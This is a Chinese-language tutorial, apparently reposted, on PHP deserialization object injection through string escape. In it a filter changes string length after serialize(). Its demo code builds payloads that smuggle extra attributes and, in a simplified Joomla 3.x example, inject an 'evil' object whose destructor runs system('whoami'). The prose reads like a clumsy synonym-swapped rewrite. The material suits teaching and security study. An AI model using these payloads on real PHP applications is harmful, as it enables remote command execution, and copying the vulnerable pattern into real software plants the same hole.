1.破绽发生缘由:
序列化的字符串在经由过滤函数不正确的处置惩罚而致使对象注入,现在看到都是由于过滤函数放在了serialize函数今后,如果放在序列化之前应当就不会发生这个问题
<?php function filter($string){ $a = str_replace('x','zz',$string); return $a; } $username = "tr1ple"; $password = "aaaaax"; $user = array($username, $password); echo(serialize($user)); echo "\n"; $r = filter(serialize($user)); echo($r); echo "\n"; var_dump(unserialize($r)); $a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";'; var_dump(unserialize($a));
php特征:
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分开,以 } 作为末端(字符串除外),而且是依据长度推断内容的
2.对类中不存在的属性也会举行反序列化
以上代码就显著存在一个问题,即从序列化后的字符串中显著可以看到经由filter函数今后s:6对应的字符串显著变长了
而且如果关于a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 这类字符串而言,也可以一般反序列化,申明php在反序列化的时刻只请求一个反序列化字符串块正当即可,固然得是第一个字符串块
以上代码为例,如果可以应用filter函数这类由一个字符变成两个字符的特征来注入想要反序列化后获得的属性,使其可以逃逸出更多可用的字符串,那末我们就可以反序列化获得我们想要的属性
比方此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处置惩罚今后大概username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会获得我们想要的结果,比方a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是我们想要到达的结果,此时我们想要注入的payload显著为:
";i:1;s:6:"123456";}
可以获得其长度为20
此时我们已晓得过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那末我们只须要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变成反序列化后获得的属性值
$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //个中赤色就是我们想要注入的属性值 $password="aaaaa"; $user = array($username, $password); echo(serialize($user)); echo "\n"; $r = filter(serialize($user)); echo($r); echo "\n"; var_dump(unserialize($r));
可以看到此时注入属性胜利,反序列化后获得的属性即为123456
2.实例剖析
joomla3.0.0-3.4.6 对象注入致使的反序列化,以下为参考他人的简易化中心破绽代码
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); } function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } if(file_exists("dbs.txt")){ unlink("dbs.txt"); } $username = "tr1ple"; $password = "A"; $payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
在这里如果想要经由历程注入对象来完成反序列化则必需在外部对象内举行注入存在的属性,不能在其外部,不然php将不会举行我们注入歹意对象的反序列化
比方此时由于反序列化读取的时刻将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因而字符串前面的s一定是牢固的,那末s对应的字符串变少今后将会吞掉其他属性的字符,那末如果我们经心算好吞掉的字符长度,而且可以掌握被吞掉属性的内容,那末就可以注入对象,从而反序列化其他类
比方如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那末我们可以在username中注入\0,来吞掉password的值,比方
<?php $a='\0\0\0'; echo strlen($a); $b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a); echo strlen($b);
所以此时起首一定我们要吞掉的字符的长度
O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}
一般情况下我们要吞掉 ";s:8:"password";s:4:" 为22位
然则由于注入的对象payload也在password字段,而且长度一定是>=10的,因而s一定是两位数,因而这里为22+1=23位字符
由于是6->3,因而每次增加一组\0\0\0能多吞掉3个字符,因而须要一定都是3的倍数
因而我们如果这里组织username为\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0
则经由read函数处置惩罚后长度将变成24
即此时可以多吞掉24个字符,为了不让其吞掉payload,我们可以添补1位字符A,即令password的值为A+payload即可
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); } function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } if(file_exists("dbs.txt")){ unlink("dbs.txt"); } $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = "A"; $payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
实行结果如上图所示,将胜利反序列化password属性所对应的值,其值即为我们注入的对象,全部历程也轻易明白,就是吞掉背面的属性来注入属性,那末到达进击有以下请求:
1.相邻两个属性的值是我们可以掌握的
2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉背面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来到达反序列化
比方XNUCA2018 hardphp就考核了一个这个相干的trick
这里就涌现了用前面的data在反序列化时向后吞一名字符,从而可以致使吞掉背面的普通用户的username字段,而在username字段可以放上我们想要捏造的username,从而到达捏造session的目标
更多PHP相干学问,请接见ki4网!
以上就是PHP字符逃逸致使的对象注入详解的细致内容,更多请关注ki4网别的相干文章!